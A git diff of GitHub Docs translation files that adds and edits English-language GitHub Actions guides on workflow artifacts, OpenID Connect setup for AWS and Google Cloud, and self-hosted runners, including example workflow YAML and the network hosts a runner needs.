b/translations/pt-BR/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md new file mode 100644 index 0000000000..a1e1b56851 --- /dev/null +++ b/translations/pt-BR/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md @@ -0,0 +1,256 @@ +--- +title: Storing workflow data as artifacts +shortTitle: Storing workflow artifacts +intro: Artifacts allow you to share data between jobs in a workflow and store data once that workflow has completed. +redirect_from: + - /articles/persisting-workflow-data-using-artifacts + - /github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts + - /actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts + - /actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts + - /actions/guides/storing-workflow-data-as-artifacts +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} +{% data reusables.actions.ae-beta %} + +## About workflow artifacts + +Artifacts allow you to persist data after a job has completed, and share that data with another job in the same workflow. An artifact is a file or collection of files produced during a workflow run. For example, you can use artifacts to save your build and test output after a workflow run has ended. {% data reusables.actions.reusable-workflow-artifacts %} + +{% data reusables.github-actions.artifact-log-retention-statement %} The retention period for a pull request restarts each time someone pushes a new commit to the pull request. + +These are some of the common artifacts that you can upload: + +- Log files and core dumps +- Test results, failures, and screenshots +- Binary or compressed files +- Stress test performance output and code coverage results + +{% ifversion fpt or ghec %} + +Storing artifacts uses storage space on {% data variables.product.product_name %}. {% data reusables.github-actions.actions-billing %} For more information, see "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)." + +{% else %} + +Artifacts consume storage space on the external blob storage that is configured for {% data variables.product.prodname_actions %} on {% data variables.product.product_location %}. + +{% endif %} + +Artifacts are uploaded during a workflow run, and you can view an artifact's name and size in the UI. When an artifact is downloaded using the {% data variables.product.product_name %} UI, all files that were individually uploaded as part of the artifact get zipped together into a single file. This means that billing is calculated based on the size of the uploaded artifact and not the size of the zip file. + +{% data variables.product.product_name %} provides two actions that you can use to upload and download build artifacts. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.product.product_location %}{% endif %}. + +To share data between jobs: + +* **Uploading files**: Give the uploaded file a name and upload the data before the job ends. +* **Downloading files**: You can only download artifacts that were uploaded during the same workflow run. When you download a file, you can reference it by name. + +The steps of a job share the same environment on the runner machine, but run in their own individual processes. To pass data between steps in a job, you can use inputs and outputs. For more information about inputs and outputs, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)." + +## Uploading build and test artifacts + +You can create a continuous integration (CI) workflow to build and test your code. For more information about using {% data variables.product.prodname_actions %} to perform CI, see "[About continuous integration](/articles/about-continuous-integration)." + +The output of building and testing your code often produces files you can use to debug test failures and production code that you can deploy. You can configure a workflow to build and test the code pushed to your repository and report a success or failure status. You can upload the build and test output to use for deployments, debugging failed tests or crashes, and viewing test suite coverage. + +You can use the `upload-artifact` action to upload artifacts. When uploading an artifact, you can specify a single file or directory, or multiple files or directories. You can also exclude certain files or directories, and use wildcard patterns. We recommend that you provide a name for an artifact, but if no name is provided then `artifact` will be used as the default name. For more information on syntax, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) action{% else %} `actions/upload-artifact` action on {% data variables.product.product_location %}{% endif %}. + +### Example + +For example, your repository or a web application might contain SASS and TypeScript files that you must convert to CSS and JavaScript. Assuming your build configuration outputs the compiled files in the `dist` directory, you would deploy the files in the `dist` directory to your web application server if all tests completed successfully. + +``` +|-- hello-world (repository) +| └── dist +| └── tests +| └── src +| └── sass/app.scss +| └── app.ts +| └── output +| └── test +| +``` + +This example shows you how to create a workflow for a Node.js project that builds the code in the `src` directory and runs the tests in the `tests` directory. You can assume that running `npm test` produces a code coverage report named `code-coverage.html` stored in the `output/test/` directory. + +The workflow uploads the production artifacts in the `dist` directory, but excludes any markdown files. It also uploads the `code-coverage.html` report as another artifact. + +```yaml{:copy} +name: Node CI + +on: [push] + +jobs: + build_and_test: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v2 + - name: npm install, build, and test + run: | + npm install + npm run build --if-present + npm test + - name: Archive production artifacts + uses: actions/upload-artifact@v2 + with: + name: dist-without-markdown + path: | + dist + !dist/**/*.md + - name: Archive code coverage results + uses: actions/upload-artifact@v2 + with: + name: code-coverage-report + path: output/test/code-coverage.html +``` + +## Configuring a custom artifact retention period + +You can define a custom retention period for individual artifacts created by a workflow. When using a workflow to create a new artifact, you can use `retention-days` with the `upload-artifact` action. This example demonstrates how to set a custom retention period of 5 days for the artifact named `my-artifact`: + +```yaml{:copy} + - name: 'Upload Artifact' + uses: actions/upload-artifact@v2 + with: + name: my-artifact + path: my_file.txt + retention-days: 5 +``` + +The `retention-days` value cannot exceed the retention limit set by the repository, organization, or enterprise. + +## Downloading or deleting artifacts + +During a workflow run, you can use the [`download-artifact`](https://github.com/actions/download-artifact) action to download artifacts that were previously uploaded in the same workflow run. + +After a workflow run has been completed, you can download or delete artifacts on {% data variables.product.prodname_dotcom %} or using the REST API. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)," "[Removing workflow artifacts](/actions/managing-workflow-runs/removing-workflow-artifacts)," and the "[Artifacts REST API](/rest/reference/actions#artifacts)." + +### Downloading artifacts during a workflow run + +The [`actions/download-artifact`](https://github.com/actions/download-artifact) action can be used to download previously uploaded artifacts during a workflow run. + +{% note %} + +**Note:** You can only download artifacts in a workflow that were uploaded during the same workflow run. + +{% endnote %} + +Specify an artifact's name to download an individual artifact. If you uploaded an artifact without specifying a name, the default name is `artifact`. + +```yaml +- name: Download a single artifact + uses: actions/download-artifact@v2 + with: + name: my-artifact +``` + +You can also download all artifacts in a workflow run by not specifying a name. This can be useful if you are working with lots of artifacts. + +```yaml +- name: Download all workflow run artifacts + uses: actions/download-artifact@v2 +``` + +If you download all workflow run's artifacts, a directory for each artifact is created using its name. + +For more information on syntax, see the {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) action{% else %} `actions/download-artifact` action on {% data variables.product.product_location %}{% endif %}. + +## Passing data between jobs in a workflow + +You can use the `upload-artifact` and `download-artifact` actions to share data between jobs in a workflow. This example workflow illustrates how to pass data between jobs in the same workflow. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.product.product_location %}{% endif %}. + +Jobs that are dependent on a previous job's artifacts must wait for the dependent job to complete successfully. This workflow uses the `needs` keyword to ensure that `job_1`, `job_2`, and `job_3` run sequentially. For example, `job_2` requires `job_1` using the `needs: job_1` syntax. + +Job 1 performs these steps: +- Performs a math calculation and saves the result to a text file called `math-homework.txt`. +- Uses the `upload-artifact` action to upload the `math-homework.txt` file with the artifact name `homework`. + +Job 2 uses the result in the previous job: +- Downloads the `homework` artifact uploaded in the previous job. By default, the `download-artifact` action downloads artifacts to the workspace directory that the step is executing in. You can use the `path` input parameter to specify a different download directory. +- Reads the value in the `math-homework.txt` file, performs a math calculation, and saves the result to `math-homework.txt` again, overwriting its contents. +- Uploads the `math-homework.txt` file. This upload overwrites the previously uploaded artifact because they share the same name. + +Job 3 displays the result uploaded in the previous job: +- Downloads the `homework` artifact. +- Prints the result of the math equation to the log. + +The full math operation performed in this workflow example is `(3 + 7) x 9 = 90`. + +```yaml{:copy} +name: Share data between jobs + +on: [push] + +jobs: + job_1: + name: Add 3 and 7 + runs-on: ubuntu-latest + steps: + - shell: bash + run: | + expr 3 + 7 > math-homework.txt + - name: Upload math result for job 1 + uses: actions/upload-artifact@v2 + with: + name: homework + path: math-homework.txt + + job_2: + name: Multiply by 9 + needs: job_1 + runs-on: windows-latest + steps: + - name: Download math result for job 1 + uses: actions/download-artifact@v2 + with: + name: homework + - shell: bash + run: | + value=`cat math-homework.txt` + expr $value \* 9 > math-homework.txt + - name: Upload math result for job 2 + uses: actions/upload-artifact@v2 + with: + name: homework + path: math-homework.txt + + job_3: + name: Display results + needs: job_2 + runs-on: macOS-latest + steps: + - name: Download math result for job 2 + uses: actions/download-artifact@v2 + with: + name: homework + - name: Print the final result + shell: bash + run: | + value=`cat math-homework.txt` + echo The result is $value +``` + +The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} +![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) +{% else %} +![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow.png) +{% endif %} + +{% ifversion fpt or ghec %} + +## Further reading + +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)". + +{% endif %} diff --git a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md index af36775458..d7dcd59852 100644 --- a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md +++ b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md @@ -38,12 +38,11 @@ To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, se To configure the role and trust in IAM, see the AWS documentation for ["Assuming a Role"](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) and ["Creating a role for web identity or OpenID connect federation"](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html). -By default, the validation only includes the audience (`aud`) condition, so you must manually add a subject (`sub`) condition. Edit the trust relationship to add the `sub` field to the validation conditions. For example: +Edit the trust relationship to add the `sub` field to the validation conditions. For example: ```json{:copy} "Condition": { "StringEquals": { - "token.actions.githubusercontent.com:aud": "https://github.com/octo-org", "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:ref:refs/heads/octo-branch" } } @@ -86,7 +85,7 @@ env: # permission can be added at job level or workflow level permissions: id-token: write - contents: write # This is required for actions/checkout@v1 + contents: read # This is required for actions/checkout@v1 jobs: S3PackageUpload: runs-on: ubuntu-latest diff --git a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md index 2bfad3730e..ec07382cbc 100644 --- a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md +++ b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md @@ -1,11 +1,11 @@ --- -title: Configurando OpenID Connect na Google Cloud Platform -shortTitle: Configurando OpenID Connect na Google Cloud Platform -intro: Use OpenID Connect nos seus fluxos de trabalho para efetuar a autenticação com a Google Cloud Platform. +title: Configuring OpenID Connect in Google Cloud Platform +shortTitle: Configuring OpenID Connect in Google Cloud Platform +intro: 'Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' - ghae: issue-4856 + ghae: 'issue-4856' ghec: '*' type: tutorial topics: @@ -15,61 +15,62 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## Visão Geral +## Overview -O OpenID Connect (OIDC) permite que seus fluxos de trabalho de {% data variables.product.prodname_actions %} acessem os recursos na Google Cloud Platform (GCP), sem precisar armazenar as credenciais do GCP como segredos de {% data variables.product.prodname_dotcom %} de longa duração. +OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. -Este guia fornece uma visão geral de como configurar o GCP para confiar no OIDC de {% data variables.product.prodname_dotcom %} como uma identidade federada, e inclui um exemplo de fluxo de trabalho para a ação [`google-github-actions/auth`](https://github.com/google-github-actions/auth) que usa tokens para efetuar a autenticação no GCP e acessar recursos. +This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources. -## Pré-requisitos +## Prerequisites {% data reusables.actions.oidc-link-to-intro %} {% data reusables.actions.oidc-security-notice %} -## Adicionando um provedor de identidade de carga do Google Cloud +## Adding a Google Cloud Workload Identity Provider -Para configurar o provedor de identidade OIDC no GCP, você deverá definir a configuração a seguir. Para obter instruções sobre como fazer essas alterações, consulte [a documentação do GCP](https://github.com/google-github-actions/auth). +To configure the OIDC identity provider in GCP, you will need to perform the following configuration. For instructions on making these changes, refer to [the GCP documentation](https://github.com/google-github-actions/auth). -1. Crie um novo conjunto de identidades. -2. Configure o mapeamento e adicione condições. -3. Conecte o novo grupo a uma conta de serviço. +1. Create a new identity pool. +2. Configure the mapping and add conditions. +3. Connect the new pool to a service account. -Orientação adicional para a configuração do provedor de identidade: +Additional guidance for configuring the identity provider: -- Para aumentar a segurança, verifique se você revisou ["Configurando a confiança do OIDC com a nuvem"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). Por exemplo, consulte ["Configurar o assunto no seu provedor de nuvem"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider). -- Para a conta de serviço estar disponível para configuração, ela deverá ser atribuída à função `roles/iam.workloadIdentityUser`. Para obter mais informações, consulte [a documentação do GCP](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions). -- A URL do emissor a usar: `https://token.actions.githubusercontent.com` +- For security hardening, make sure you've reviewed ["Configuring the OIDC trust with the cloud"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see ["Configuring the subject in your cloud provider"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider). +- For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions). +- The Issuer URL to use: `https://token.actions.githubusercontent.com` -## Atualizar o seu fluxo de trabalho de {% data variables.product.prodname_actions %} +## Updating your {% data variables.product.prodname_actions %} workflow -Para atualizar seus fluxos de trabalho para o OIDC, você deverá fazer duas alterações no seu YAML: -1. Adicionar configurações de permissões para o token. -2. Use a ação [`google-github-actions/auth`](https://github.com/google-github-actions/auth) para trocar o token do OIDC (JWT) por um token de acesso na nuvem. +To update your workflows for OIDC, you will need to make two changes to your YAML: +1. Add permissions settings for the token. +2. Use the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action to exchange the OIDC token (JWT) for a cloud access token. -### Adicionando configurações de permissões +### Adding permissions settings -O fluxo de trabalho exigirá uma configuração `permissões` com um valor de [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) definido. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. Por exemplo: +The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example: ```yaml{:copy} permissions: id-token: write ``` -Você pode precisar especificar permissões adicionais aqui, dependendo das necessidades do seu fluxo de trabalho. +You may need to specify additional permissions here, depending on your workflow's requirements. -### Solicitando o token de acesso +### Requesting the access token -A ação `do google-github-actions/auth` recebe um JWT do provedor OIDC de {% data variables.product.prodname_dotcom %} e, em seguida, solicita um token de acesso do GCP. Para obter mais informações, consulte a [documentação](https://github.com/google-github-actions/auth) do GCP. +The `google-github-actions/auth` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from GCP. For more information, see the GCP [documentation](https://github.com/google-github-actions/auth). -Este exemplo tem um trabalho denominado `Get_OIDC_ID_token` que usa ações para solicitar uma lista de serviços do GCP. +This example has a job called `Get_OIDC_ID_token` that uses actions to request a list of services from GCP. -- ``: Substitua isso pelo caminho para o seu provedor de identidade no GCP. Por exemplo, `projetos//locations/global/workloadIdentityPools/` -- ``: Substitua isso pelo nome da sua conta de serviço no GCP. -- ``: Substitua isso pelo ID do seu projeto do GCP. +- ``: Replace this with the path to your identity provider in GCP. For example, `projects//locations/global/workloadIdentityPools/` +- ``: Replace this with the name of your service account in GCP. +- ``: Replace this with the ID of your GCP project. -Esta ação troca um token do OIDC do {% data variables.product.prodname_dotcom %} por um token de acesso do Google Cloud, usando [a Federação de Identidade de Carga](https://cloud.google.com/iam/docs/workload-identity-federation). +This action exchanges a {% data variables.product.prodname_dotcom %} OIDC token for a Google Cloud access token, using [Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation). +{% raw %} ```yaml{:copy} name: List services in GCP on: @@ -95,5 +96,6 @@ jobs: name: 'gcloud' run: |- gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}" - gcloud config list + gcloud services list ``` +{% endraw %} diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/about-self-hosted-runners.md b/translations/pt-BR/content/actions/hosting-your-own-runners/about-self-hosted-runners.md new file mode 100644 index 0000000000..40d2652bc4 --- /dev/null +++ b/translations/pt-BR/content/actions/hosting-your-own-runners/about-self-hosted-runners.md @@ -0,0 +1,235 @@ +--- +title: About self-hosted runners +intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/about-self-hosted-runners + - /actions/automating-your-workflow-with-github-actions/about-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +--- + +{% data reusables.actions.ae-self-hosted-runners-notice %} +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} +{% data reusables.actions.ae-beta %} + +## About self-hosted runners + +{% data reusables.github-actions.self-hosted-runner-description %} Self-hosted runners can be physical, virtual, in a container, on-premises, or in a cloud. + +You can add self-hosted runners at various levels in the management hierarchy: +- Repository-level runners are dedicated to a single repository. +- Organization-level runners can process jobs for multiple repositories in an organization. +- Enterprise-level runners can be assigned to multiple organizations in an enterprise account. + +Your runner machine connects to {% data variables.product.product_name %} using the {% data variables.product.prodname_actions %} self-hosted runner application. {% data reusables.github-actions.runner-app-open-source %} When a new version is released, the runner application automatically updates itself when a job is assigned to the runner, or within a week of release if the runner hasn't been assigned any jobs. + +{% data reusables.github-actions.self-hosted-runner-auto-removal %} + +For more information about installing and using self-hosted runners, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)." + +## Differences between {% data variables.product.prodname_dotcom %}-hosted and self-hosted runners + +{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted runners are a highly configurable way to run workflows in your own custom environment. + +**{% data variables.product.prodname_dotcom %}-hosted runners:** +- Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application. +- Are managed and maintained by {% data variables.product.prodname_dotcom %}. +- Provide a clean instance for every job execution. +- Use free minutes on your {% data variables.product.prodname_dotcom %} plan, with per-minute rates applied after surpassing the free minutes. + +**Self-hosted runners:** +- Receive automatic updates for the self-hosted runner application only. You are responsible for updating the operating system and all other software. +- Can use cloud services or local machines that you already pay for. +- Are customizable to your hardware, operating system, software, and security requirements. +- Don't need to have a clean instance for every job execution. +- Are free to use with {% data variables.product.prodname_actions %}, but you are responsible for the cost of maintaining your runner machines. + +## Requirements for self-hosted runner machines + +You can use any machine as a self-hosted runner as long at it meets these requirements: + +* You can install and run the self-hosted runner application on the machine. For more information, see "[Supported architectures and operating systems for self-hosted runners](#supported-architectures-and-operating-systems-for-self-hosted-runners)." +* The machine can communicate with {% data variables.product.prodname_actions %}. For more information, see "[Communication between self-hosted runners and {% data variables.product.prodname_dotcom %}](#communication-between-self-hosted-runners-and-github)." +* The machine has enough hardware resources for the type of workflows you plan to run. The self-hosted runner application itself only requires minimal resources. +* If you want to run workflows that use Docker container actions or service containers, you must use a Linux machine and Docker must be installed. + +{% ifversion fpt or ghes > 3.2 or ghec %} +## Autoscaling your self-hosted runners + +You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." + +{% endif %} + +## Usage limits + +There are some limits on {% data variables.product.prodname_actions %} usage when using self-hosted runners. These limits are subject to change. + +{% data reusables.github-actions.usage-workflow-run-time %} +- **Job queue time** - Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete. +{% data reusables.github-actions.usage-api-requests %} +- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %} +{% data reusables.github-actions.usage-workflow-queue-limits %} + +## Workflow continuity for self-hosted runners + +{% data reusables.github-actions.runner-workflow-continuity %} + +## Supported architectures and operating systems for self-hosted runners + +The following operating systems are supported for the self-hosted runner application. + +### Linux + +- Red Hat Enterprise Linux 7 or later +- CentOS 7 or later +- Oracle Linux 7 +- Fedora 29 or later +- Debian 9 or later +- Ubuntu 16.04 or later +- Linux Mint 18 or later +- openSUSE 15 or later +- SUSE Enterprise Linux (SLES) 12 SP2 or later + +### Windows + +- Windows 7 64-bit +- Windows 8.1 64-bit +- Windows 10 64-bit +- Windows Server 2012 R2 64-bit +- Windows Server 2016 64-bit +- Windows Server 2019 64-bit + +### macOS + +- macOS 10.13 (High Sierra) or later + +### Architectures + +The following processor architectures are supported for the self-hosted runner application. + +- `x64` - Linux, macOS, Windows. +- `ARM64` - Linux only. +- `ARM32` - Linux only. + +{% ifversion ghes %} + +## Supported actions on self-hosted runners + +Some extra configuration might be required to use actions from {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator. + +{% endif %} + +## Communication between self-hosted runners and {% data variables.product.product_name %} + +The self-hosted runner polls {% data variables.product.product_name %} to retrieve application updates and to check if any jobs are queued for processing. The self-hosted runner uses a HTTPS _long poll_ that opens a connection to {% data variables.product.product_name %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. The application must be running on the machine to accept and run {% data variables.product.prodname_actions %} jobs. + +{% data reusables.actions.self-hosted-runner-ports-protocols %} + +{% ifversion ghae %} +You must ensure that the self-hosted runner has appropriate network access to communicate with the {% data variables.product.prodname_ghe_managed %} URL and its subdomains. +For example, if your instance name is `octoghae`, then you will need to allow the self-hosted runner to access `octoghae.githubenterprise.com`, `api.octoghae.githubenterprise.com`, and `codeload.octoghae.githubenterprise.com`. + +If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)." +{% endif %} + +{% ifversion fpt or ghec %} + +Since the self-hosted runner opens a connection to {% data variables.product.prodname_dotcom %}, you do not need to allow {% data variables.product.prodname_dotcom %} to make inbound connections to your self-hosted runner. + +You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} hosts listed below. Some hosts are required for essential runner operations, while other hosts are only required for certain functionality. + +{% note %} + +**Note:** Some of the domains listed below are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed below will remain constant. + +{% endnote %} + +**Needed for essential operations:** + +``` +github.com +api.github.com +``` + +**Needed for downloading actions:** + +``` +codeload.github.com +``` + +**Needed for runner version updates:** + +``` +objects.githubusercontent.com +objects-origin.githubusercontent.com +github-releases.githubusercontent.com +github-registry-files.githubusercontent.com +``` + +**Needed for uploading/downloading caches and workflow artifacts:** + +``` +*.blob.core.windows.net +``` + +**Needed for retrieving OIDC tokens:** + +``` +*.actions.githubusercontent.com +``` + +In addition, your workflow may require access to other network resources. For example, if your workflow installs packages or publishes containers to {% data variables.product.prodname_dotcom %} Packages, then the runner will also require access to those network endpoints. + +If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)" or "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)". + +{% else %} + +You must ensure that the machine has the appropriate network access to communicate with {% data variables.product.product_location %}.{% ifversion ghes %} Self-hosted runners connect directly to {% data variables.product.product_location %} and do not require any external internet access in order to function. As a result, you can use network routing to direct communication between the self-hosted runner and {% data variables.product.product_location %}. For example, you can assign a private IP address to your self-hosted runner and configure routing to send traffic to {% data variables.product.product_location %}, with no need for traffic to traverse a public network.{% endif %} + +{% endif %} + +You can also use self-hosted runners with a proxy server. For more information, see "[Using a proxy server with self-hosted runners](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners)." + +{% ifversion ghes %} + +## Communication between self-hosted runners and {% data variables.product.prodname_dotcom_the_website %} + +Self-hosted runners do not need to connect to {% data variables.product.prodname_dotcom_the_website %} unless you have [enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect). + +If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} URLs listed below. + +{% note %} + +**Note:** Some of the domains listed below are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed below will remain constant. + +{% endnote %} + +``` +github.com +api.github.com +codeload.github.com +``` + +{% endif %} + +{% ifversion fpt or ghec %} + +## Self-hosted runner security with public repositories + +{% data reusables.github-actions.self-hosted-runner-security %} + +This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution. + +Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include: + +* Malicious programs running on the machine. +* Escaping the machine's runner sandbox. +* Exposing access to the machine's network environment. +* Persisting unwanted or dangerous data on the machine. + +{% endif %} diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md b/translations/pt-BR/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md new file mode 100644 index 0000000000..e53e41204e --- /dev/null +++ b/translations/pt-BR/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md @@ -0,0 +1,117 @@ +--- +title: Adding self-hosted runners +intro: 'You can add a self-hosted runner to a repository, an organization, or an enterprise.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/adding-self-hosted-runners + - /actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +shortTitle: Add self-hosted runners +--- + +{% data reusables.actions.ae-self-hosted-runners-notice %} +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} +{% data reusables.actions.ae-beta %} + +You can add a self-hosted runner to a repository, an organization, or an enterprise. + +If you are an organization or enterprise administrator, you might want to add your self-hosted runners at the organization or enterprise level. This approach makes the runner available to multiple repositories in your organization or enterprise, and also lets you to manage your runners in one place. + +For information on supported operating systems for self-hosted runners, or using self-hosted runners with a proxy server, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)." + +{% ifversion not ghae %} +{% warning %} + +**Warning:** {% data reusables.github-actions.self-hosted-runner-security %} + +For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + +{% endwarning %} +{% endif %} + +## Adding a self-hosted runner to a repository + +You can add self-hosted runners to a single repository. To add a self-hosted runner to a user repository, you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." + +{% ifversion fpt or ghec %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.github-actions.settings-sidebar-actions %} +{% data reusables.github-actions.settings-sidebar-actions-runners-updated %} +1. Click **New self-hosted runner**. +{% data reusables.github-actions.self-hosted-runner-configure %} +{% endif %} +{% ifversion ghae or ghes %} +{% data reusables.repositories.navigate-to-repo %} 